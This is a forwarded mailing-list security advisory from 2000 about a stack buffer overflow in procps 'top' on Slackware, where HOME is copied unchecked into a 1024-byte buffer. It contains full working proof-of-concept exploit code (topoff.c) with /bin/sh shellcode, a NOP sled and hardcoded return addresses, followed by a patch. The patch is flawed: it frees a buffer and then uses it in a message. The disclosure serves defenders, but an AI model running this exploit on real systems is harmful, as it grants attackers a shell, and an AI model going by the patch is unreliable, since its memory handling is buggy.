----- Forwarded message from Ben Lull <[EMAIL PROTECTED]> ----- > From: Ben Lull <[EMAIL PROTECTED]> > Reply-To: [EMAIL PROTECTED] > X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.16 i586) > Date: Tue, 15 Aug 2000 22:35:38 -0700 > To: [EMAIL PROTECTED] > Subject: [Fwd: Stack Overflow Vulnerability in procps's top] > > Ooops... forgot to attach the patch and proof of concept code. Sorry > about that. > From: Ben Lull <[EMAIL PROTECTED]> > Reply-To: [EMAIL PROTECTED] > X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.16 i586) > Date: Tue, 15 Aug 2000 22:24:31 -0700 > To: [EMAIL PROTECTED] > Subject: Stack Overflow Vulnerability in procps's top > > Description: > > The utility top, included with the procps package in > Slackware Linux, contains multiple buffer > overruns. Although the top utility is not sXid by default, > it is still a problem. Through security comes > stability, and by creating secure applications, you will in > turn, create stable applications. The overflows > occur in two different places. When a call to strcpy() is > made, it copies the environmental variable > HOME into the buffer rcfile[1024] without bounds checking. > > > Reproduction: > > Included with this post is proof of concept code (topoff.c) > for Slackware Linux 7.0.0 and 7.1.0. Simply > remove the comment in front of '#define RET' for the version > of Slackware which you are testing and > compile. When run, the result will be a execve()'ed > /bin/sh. You can also verify that your version of top > is vulnerable by setting the environment HOME to a string > greater then 1023 bytes. > > > Solution: > > A patch for the most current version of procps > (procps-2.0.6) is attached to this post. Obtain > procps-2.0.6 from any Slackware distribution site under the > source/a/procps/ directory. Unpack > procps-2.0.6.tar.gz and apply the included patch > (procps-2.0.6.patch). > > > Credits: > > I'd like to actually say thank you to my boss for not > getting on my case when I stray from my work to > play with things such as this. > > > Notes: > For reference, you can see all previous posts at > http://www.skunkware.org/security/advisories/ > > > - Ben > > ************************ > * Ben Lull * > * Valley Local Internet, Inc * > * Systems Administrator * > ************************ > > /* > * > * topoff.c (08/02/00) > * > * Live buffer overflow (stack smasher/breaker/etc..) > * Exploits /usr/bin/top on Slackware 7.0.0 and 7.1.0. > * Earlier version should also be assumed vulnerable. > * > * By: Ben Lull ([EMAIL PROTECTED]) > * > * > * > * <--- Begin my Little Babble ---> > * You know your bored when you go through utils like top > * which don't have a sXid bit and spend the time generating > * the shell code from scratch and all that fun stuff as > * well as making the code pretty.. > * > * Note: > * grep(1) is your friend... example usage: > * me@synchro~> grep -F -n "str" *.c > * me@synchro~> grep -F -n "get" *.c > * me@synchro~> grep -F -n "print" *.c > * me@synchro~> grep -n "\[\]" *.c | grep -F "char" > * > * > * > * Experienced working Offsets: > * (It's obvious, look at the code) > * BUFLEN - strlen(code) - EIP. > * > * You should know this one. > * If you don't.. you shouldn't > * Have toys such as this. > * > * > * > * Exploit Occurs: > * > * top.h: > * 50: #define MAXNAMELEN 1024 > * > * > * top.c: > * 211: char rcfile[MAXNAMELEN]; > * > * 223: if (getenv("HOME")) { > * 224: strcpy(rcfile, getenv("HOME")); > * 225: strcat(rcfile, "/"); > * 226: } > * . > * . > * . > * 1495: if (getenv("HOME")) { > * 1496: strcpy(rcfile, getenv("HOME")); > * > */ > > > #include <stdio.h> > #include <stdlib.h> > > #define OFFSET 0 > #define BUFLEN 1032 > > #define RET 0xbffffb35 /* Slackware 7.1 */ > //#define RET 0xbffffafc /* Slackware 7.0 */ > > #define NOP 0x90 > #define TOP "/usr/bin/top" > > char code[] = > "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" > "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" > "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\xc9\xc3" > "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" > "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" > "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" > "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" > "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; > > > > void usage(char *arg) { > fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg); > fprintf(stderr, "Examples:\n"); > fprintf(stderr, "\t%s 347 up -=- Default EIP increased by 347 >bytes\n", arg); > fprintf(stderr, "\t%s 347 down -=- Default EIP decreased by 347 >bytes\n", arg); > fprintf(stderr, "\t%s 429 up 0xbffffad8 -=- EIP set to 0xbffffad8 and >increased by 429 bytes\n", arg); > fprintf(stderr, "\t%s 429 down 0xbffffad8 -=- EIP set to 0xbffffad8 and >decreased by 429 bytes\n\n", arg); > exit(1); > } > > > int main(int argc, char *argv[]) { > char *buf, *p; > long *addressp, address; > int offset=OFFSET; > int i; > > > if((argc < 3) || (argc > 4)) > usage(argv[0]); > > if(argc == 3) { > if(!strcmp(argv[2], "up")) { > address = RET + atoi(argv[1]); > printf("Increasing offset by: %d\n", atoi(argv[1])); > printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1])); > } > > if(!strcmp(argv[2], "down")) { > address = RET - atoi(argv[1]); > printf("Decreasing offset by: %d\n", atoi(argv[1])); > printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1])); > } > } > > if(argc >= 4) { > if(!strcmp(argv[2], "up")) { > address = strtoul(argv[3], NULL, 16) + atoi(argv[1]); > printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16)); > printf("Increasing offset by: %d\n", atoi(argv[1])); > printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + >atoi(argv[1]))); > } > if(!strcmp(argv[2], "down")) { > address = strtoul(argv[3], NULL, 16) + atoi(argv[1]); > printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16)); > printf("Decreasing offset by: %d\n", atoi(argv[1])); > printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - >atoi(argv[1]))); > } > } > > > if (!(buf = (char *)malloc(BUFLEN))) { > printf("Can't allocate memory.\n"); > exit(-1); > } > > p = buf; > addressp = (long *) p; > > for (i = 0; i < BUFLEN; i+=4) { > *(addressp++) = address; > } > > for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) { > buf[i] = NOP; > } > > p = buf + (BUFLEN - strlen(code) - 4); > > for (i = 0; i < strlen(code); i++) > *(p++) = code[i]; > > buf[BUFLEN] = '\0'; > > > /* > * A nifty trick is to run /bin/sh -i and run top manualy. > * This way you can figure out if your going the right way or not > * > * strace/gdb /usr/bin/top > * > */ > setenv("HOME", buf, 1); > system(TOP); > } > > --- top.c Tue Aug 15 21:03:10 2000 > +++ top.diff Tue Aug 15 20:57:38 2000 > @@ -225,20 +225,35 @@ > { > FILE *fp; > char *pt; > - char rcfile[MAXNAMELEN]; > + char *rcfile; > char Options[256] = ""; > > header_lines = 7; > + > + if(!(rcfile = (char *)malloc(strlen(SYS_TOPRC)*sizeof(char *)))) { > + fprintf(stderr, "Unable to malloc()\n"); > + exit(1); > + } > + > strcpy(rcfile, SYS_TOPRC); > fp = fopen(rcfile, "r"); > + > if (fp != NULL) { > fgets(Options, 254, fp); > fclose(fp); > } > + > + free(rcfile); > parse_options(Options, 0); > strcpy(Options, ""); > + > if (getenv("HOME")) { > - strcpy(rcfile, getenv("HOME")); > + if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + >2)*sizeof(char *)))) { > + fprintf(stderr, "Unable to malloc()\n"); > + exit(-1); > + } > + > + strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1); > strcat(rcfile, "/"); > } > strcat(rcfile, RCFILE); > @@ -252,6 +267,7 @@ > } > fgets(Options, 254, fp); > fclose(fp); > + free(rcfile); > } > parse_options(Options, getuid()? Secure : 0); > } > @@ -1381,7 +1397,7 @@ > void do_key(char c) > { > int numinput, i; > - char rcfile[MAXNAMELEN]; > + char *rcfile; > FILE *fp; > > /* > @@ -1583,7 +1599,13 @@ > break; > case 'W': > if (getenv("HOME")) { > - strcpy(rcfile, getenv("HOME")); > + > + if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + >2)*sizeof(char *)))) { > + fprintf(stderr, "Unable to malloc()\n"); > + exit(-1); > + } > + > + strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1); > strcat(rcfile, "/"); > strcat(rcfile, RCFILE); > fp = fopen(rcfile, "w"); > @@ -1611,6 +1633,7 @@ > fprintf(fp, "%c", 't'); > fprintf(fp, "\n"); > fclose(fp); > + free(rcfile); > SHOWMESSAGE(("Wrote configuration to %s", rcfile)); > } else { > SHOWMESSAGE(("Couldn't open %s", rcfile)); ----- End forwarded message ----- -------------------------------------------------------------------------- Utk berhenti langganan, kirim email ke [EMAIL PROTECTED] Informasi arsip di http://www.linux.or.id/milis.php3 Pengelola dapat dihubungi lewat [EMAIL PROTECTED]
